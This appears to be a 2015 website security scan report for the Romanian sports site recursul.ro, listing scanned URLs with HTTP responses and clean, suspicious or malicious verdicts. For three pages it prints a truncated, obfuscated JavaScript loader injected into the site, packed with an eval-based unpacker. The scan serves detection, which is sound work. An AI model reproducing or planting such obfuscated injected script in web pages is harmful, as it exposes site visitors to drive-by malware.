Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=recursul.ro
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://www.recursul.ro/ | HTTP/1.1 301 Moved Permanently Connection: close Date: Wed, 28 Jan 2015 16:16:32 GMT Location: http://recursul.gsp.ro/ Server: Apache/2.2.22 (Ubuntu) Vary: Accept-Encoding Content-Length: 312 Content-Type: text/html; charset=iso-8859-1 | clean |
http://recursul.gsp.ro/ | 200 OK Content-Length: 75519 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var _01O='KkSKpcCfngCdpxGcz5yJlxWe0N3NywXe0lGbpJWazlmd3IDft92Y8RWS5JEduVWblxWR0V2Z8RjMwJ3bjxnMk92afNna4IDfoRHZpdHfuVGZklGaBNDfkFWZoxXZtFmTnFGV5J0c05WZtVGbFRXZnxHewBDOxcjM8JXZyJXZmVmc8hHcwAjM3IDf0h2ZpVGa8VGchN2cl5Wd8VGdpJ3d8xmc1xHZh9Gbu92NywXZtFmcml2Nyw3bm5Wa8Rnbl1Wdj9GZENDfjJ3c0V2Z8t2b8VGd1JWayRHdBRXZzxnZlJHf05WZtV3YvRGOywndpR2NywnZpBjM8RWZkF2bsxHduVmdFh2YhRHdhx3ZhRldpRGMyw3dvRmbpdHOywHZh9Gb3IDfyQ2br91cqlDM8lGchlnclVXcqxnbvlGdj5WdmFEM8V2csFmZwIDfyFmdBBDf5R2bixHdwlmcjN3QzwHc0RHa8Rnbl52bw12bDlkUVV Decoded script: eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('38(2U(p,a,c,k,e,d){e=2U(c){2V(c<a?\'\':e(39(c/a)))+((c=c%a)>35?2W.31(c+29):c.34(36))};2X(!\'\'.2Y(/^/,2W)){2Z(c--){d[e(c)]=k[c]||e(c)}k=[2U(e){2V d[e]}];e=2U(){2V\'\\\\w+\'};c=1};2Z(c--){2X(k[c]){p=p.2Y(32 33(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}2V p}(\'1D(1k(p,a,c,k,e, Antivirus reports:
| ||
http://recursul.gsp.ro/wp-includes/js/jquery/jquery.js?ver=1.8.3 | 200 OK Content-Length: 93658 Content-Type: application/javascript | clean |
http://gspro.adocean.pl/files/js/ado.js | 200 OK Content-Length: 19109 Content-Type: application/x-javascript | clean |
http://gsp.count.brat-online.ro/2004/01/survey.js | 200 OK Content-Length: 505 Content-Type: application/x-javascript | clean |
http://ctx.inin.ro/underline.js | 200 OK Content-Length: 17757 Content-Type: application/javascript | clean |
http://ro.search.etargetnet.com/generic/advert.php?g=ref:27833,area:300x300,tabl:4,logo:1,logo_type:5,left:1,title_color:A91B33,h_title_color:A91B33,title_underline:0,h_title_underline:0,font:arial,fsi:12,background_color:ffffff,nourl:1,background_opacity:100,hover_back:transparent,border_color:ffffff,border_style:none,border_radius:5,text_color:000000,url_color:A91B33,h_text_color:000000,h_url_color:A91B33,url_underline:0,h_url_underline:0 | 200 OK Content-Length: 30232 Content-Type: text/javascript | clean |
http://go.intact.bbelements.com/bb/bb_one2n.js?1241464410 | HTTP/1.1 302 Found Cache-Control: max-age=10800 Connection: close Date: Wed, 28 Jan 2015 16:16:36 GMT Location: http://bbcdn.go.intact.bbelements.com/bb/bb_one2n.92.65.73.1.js Server: ibillboard Content-Length: 247 Content-Type: text/html; charset=iso-8859-1 Expires: Wed, 28 Jan 2015 19:16:36 GMT | clean |
http://bbcdn.go.intact.bbelements.com/bb/bb_one2n.92.65.73.1.js | 200 OK Content-Length: 47067 Content-Type: application/javascript | clean |
http://recursul.gsp.ro/wp-content/plugins/wp-polls/polls-js.js?ver=2.63 | 200 OK Content-Length: 3598 Content-Type: application/javascript | clean |
http://www.recursul.ro/test404page.js | HTTP/1.1 301 Moved Permanently Connection: close Date: Wed, 28 Jan 2015 16:16:37 GMT Location: http://recursul.gsp.ro/test404page.js Server: Apache/2.2.22 (Ubuntu) Vary: Accept-Encoding Content-Length: 326 Content-Type: text/html; charset=iso-8859-1 | clean |
http://recursul.gsp.ro/test404page.js | 404 Not Found Content-Length: 33509 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var _01O='KkSKpcCfngCdpxGcz5yJlxWe0N3NywXe0lGbpJWazlmd3IDft92Y8RWS5JEduVWblxWR0V2Z8RjMwJ3bjxnMk92afNna4IDfoRHZpdHfuVGZklGaBNDfkFWZoxXZtFmTnFGV5J0c05WZtVGbFRXZnxHewBDOxcjM8JXZyJXZmVmc8hHcwAjM3IDf0h2ZpVGa8VGchN2cl5Wd8VGdpJ3d8xmc1xHZh9Gbu92NywXZtFmcml2Nyw3bm5Wa8Rnbl1Wdj9GZENDfjJ3c0V2Z8t2b8VGd1JWayRHdBRXZzxnZlJHf05WZtV3YvRGOywndpR2NywnZpBjM8RWZkF2bsxHduVmdFh2YhRHdhx3ZhRldpRGMyw3dvRmbpdHOywHZh9Gb3IDfyQ2br91cqlDM8lGchlnclVXcqxnbvlGdj5WdmFEM8V2csFmZwIDfyFmdBBDf5R2bixHdwlmcjN3QzwHc0RHa8Rnbl52bw12bDlkUVV Decoded script: eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('38(2U(p,a,c,k,e,d){e=2U(c){2V(c<a?\'\':e(39(c/a)))+((c=c%a)>35?2W.31(c+29):c.34(36))};2X(!\'\'.2Y(/^/,2W)){2Z(c--){d[e(c)]=k[c]||e(c)}k=[2U(e){2V d[e]}];e=2U(){2V\'\\\\w+\'};c=1};2Z(c--){2X(k[c]){p=p.2Y(32 33(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}2V p}(\'1D(1k(p,a,c,k,e, Antivirus reports:
| ||
http://recursul.gsp.ro/category/foc-de-intrebari/ | 200 OK Content-Length: 62446 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var _01O='KkSKpcCfngCdpxGcz5yJlxWe0N3NywXe0lGbpJWazlmd3IDft92Y8RWS5JEduVWblxWR0V2Z8RjMwJ3bjxnMk92afNna4IDfoRHZpdHfuVGZklGaBNDfkFWZoxXZtFmTnFGV5J0c05WZtVGbFRXZnxHewBDOxcjM8JXZyJXZmVmc8hHcwAjM3IDf0h2ZpVGa8VGchN2cl5Wd8VGdpJ3d8xmc1xHZh9Gbu92NywXZtFmcml2Nyw3bm5Wa8Rnbl1Wdj9GZENDfjJ3c0V2Z8t2b8VGd1JWayRHdBRXZzxnZlJHf05WZtV3YvRGOywndpR2NywnZpBjM8RWZkF2bsxHduVmdFh2YhRHdhx3ZhRldpRGMyw3dvRmbpdHOywHZh9Gb3IDfyQ2br91cqlDM8lGchlnclVXcqxnbvlGdj5WdmFEM8V2csFmZwIDfyFmdBBDf5R2bixHdwlmcjN3QzwHc0RHa8Rnbl52bw12bDlkUVV Decoded script: eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('38(2U(p,a,c,k,e,d){e=2U(c){2V(c<a?\'\':e(39(c/a)))+((c=c%a)>35?2W.31(c+29):c.34(36))};2X(!\'\'.2Y(/^/,2W)){2Z(c--){d[e(c)]=k[c]||e(c)}k=[2U(e){2V d[e]}];e=2U(){2V\'\\\\w+\'};c=1};2Z(c--){2X(k[c]){p=p.2Y(32 33(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}2V p}(\'1D(1k(p,a,c,k,e, Antivirus reports:
| ||
http://feeds.feedburner.com/~s/Wpdesigner?i=http://recursul.gsp.ro/reghe-si-multescu-la-recursul-etapei/ | 200 OK Content-Length: 713 Content-Type: application/x-javascript | suspicious |
Page code contains blacklisted domain: recursul.gsp.ro var fStartPost=1;if(window.feedburner_currPost!=null){window.feedburner_currPost++}else{window.feedburner_currPost=1}if(document.body.getAttribute("fStartPost")){fs=parseInt(document.body.getAttribute("fStartPost"));if(!isNaN(fs))fStartPost=fs}if(window.feedburner_startPostOverride!=null){fs=parseInt(window.feedburner_startPostOverride);if(!isNaN(fs))fStartPost=window.feedburner_startPostOverride}else{window.feedburner_startPostOverride=fStartPost}if(window.feedburner_currPost==fStartPost){feedSrc='http://feeds.feedburner.com/~s/Wpdesigner?i='+escape("http://recursul.gsp.ro/reghe-si-multescu-la-recursul-etapei/")+'&showad=true';document.write('<script src="'+feedSrc+'" type="text/javascript"></script>')} | ||
http://feeds.feedburner.com/~s/Wpdesigner?i=http://recursul.gsp.ro/luni-ora-2115-se-reia-recursul-etapei/ | 200 OK Content-Length: 714 Content-Type: application/x-javascript | suspicious |
Page code contains blacklisted domain: recursul.gsp.ro var fStartPost=1;if(window.feedburner_currPost!=null){window.feedburner_currPost++}else{window.feedburner_currPost=1}if(document.body.getAttribute("fStartPost")){fs=parseInt(document.body.getAttribute("fStartPost"));if(!isNaN(fs))fStartPost=fs}if(window.feedburner_startPostOverride!=null){fs=parseInt(window.feedburner_startPostOverride);if(!isNaN(fs))fStartPost=window.feedburner_startPostOverride}else{window.feedburner_startPostOverride=fStartPost}if(window.feedburner_currPost==fStartPost){feedSrc='http://feeds.feedburner.com/~s/Wpdesigner?i='+escape("http://recursul.gsp.ro/luni-ora-2115-se-reia-recursul-etapei/")+'&showad=true';document.write('<script src="'+feedSrc+'" type="text/javascript"></script>')} | ||
http://feeds.feedburner.com/~s/Wpdesigner?i=http://recursul.gsp.ro/cosmin-contra-vine-la-recursul-etapei/ | 200 OK Content-Length: 714 Content-Type: application/x-javascript | suspicious |
Page code contains blacklisted domain: recursul.gsp.ro var fStartPost=1;if(window.feedburner_currPost!=null){window.feedburner_currPost++}else{window.feedburner_currPost=1}if(document.body.getAttribute("fStartPost")){fs=parseInt(document.body.getAttribute("fStartPost"));if(!isNaN(fs))fStartPost=fs}if(window.feedburner_startPostOverride!=null){fs=parseInt(window.feedburner_startPostOverride);if(!isNaN(fs))fStartPost=window.feedburner_startPostOverride}else{window.feedburner_startPostOverride=fStartPost}if(window.feedburner_currPost==fStartPost){feedSrc='http://feeds.feedburner.com/~s/Wpdesigner?i='+escape("http://recursul.gsp.ro/cosmin-contra-vine-la-recursul-etapei/")+'&showad=true';document.write('<script src="'+feedSrc+'" type="text/javascript"></script>')} | ||
http://feeds.feedburner.com/~s/Wpdesigner?i=http://recursul.gsp.ro/recursul-antrenorilor-reghecampf-ilie-stan-si-adrian-szabo-vin-la-recurs/ | 200 OK Content-Length: 749 Content-Type: application/x-javascript | suspicious |
Page code contains blacklisted domain: recursul.gsp.ro var fStartPost=1;if(window.feedburner_currPost!=null){window.feedburner_currPost++}else{window.feedburner_currPost=1}if(document.body.getAttribute("fStartPost")){fs=parseInt(document.body.getAttribute("fStartPost"));if(!isNaN(fs))fStartPost=fs}if(window.feedburner_startPostOverride!=null){fs=parseInt(window.feedburner_startPostOverride);if(!isNaN(fs))fStartPost=window.feedburner_startPostOverride}else{window.feedburner_startPostOverride=fStartPost}if(window.feedburner_currPost==fStartPost){feedSrc='http://feeds.feedburner.com/~s/Wpdesigner?i='+escape("http://recursul.gsp.ro/recursul-antrenorilor-reghecampf-ilie-stan-si-adrian-szabo-vin-la-recurs/")+'&showad=true';document.write('<script src="'+feedSrc+'" type="text/javascript"></script>')} | ||
http://feeds.feedburner.com/~s/Wpdesigner?i=http://recursul.gsp.ro/3-jucatori-la-recursul-de-luni/ | 200 OK Content-Length: 707 Content-Type: application/x-javascript | suspicious |
Page code contains blacklisted domain: recursul.gsp.ro var fStartPost=1;if(window.feedburner_currPost!=null){window.feedburner_currPost++}else{window.feedburner_currPost=1}if(document.body.getAttribute("fStartPost")){fs=parseInt(document.body.getAttribute("fStartPost"));if(!isNaN(fs))fStartPost=fs}if(window.feedburner_startPostOverride!=null){fs=parseInt(window.feedburner_startPostOverride);if(!isNaN(fs))fStartPost=window.feedburner_startPostOverride}else{window.feedburner_startPostOverride=fStartPost}if(window.feedburner_currPost==fStartPost){feedSrc='http://feeds.feedburner.com/~s/Wpdesigner?i='+escape("http://recursul.gsp.ro/3-jucatori-la-recursul-de-luni/")+'&showad=true';document.write('<script src="'+feedSrc+'" type="text/javascript"></script>')} |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: recursul.ro
Result:
GET / HTTP/1.1
Host: recursul.ro
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: recursul.ro
Referer: http://www.google.com/search?q=recursul.ro
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: recursul.ro
Referer: http://www.google.com/search?q=recursul.ro
Result:
The result is similar to the first query. There are no suspicious redirects found.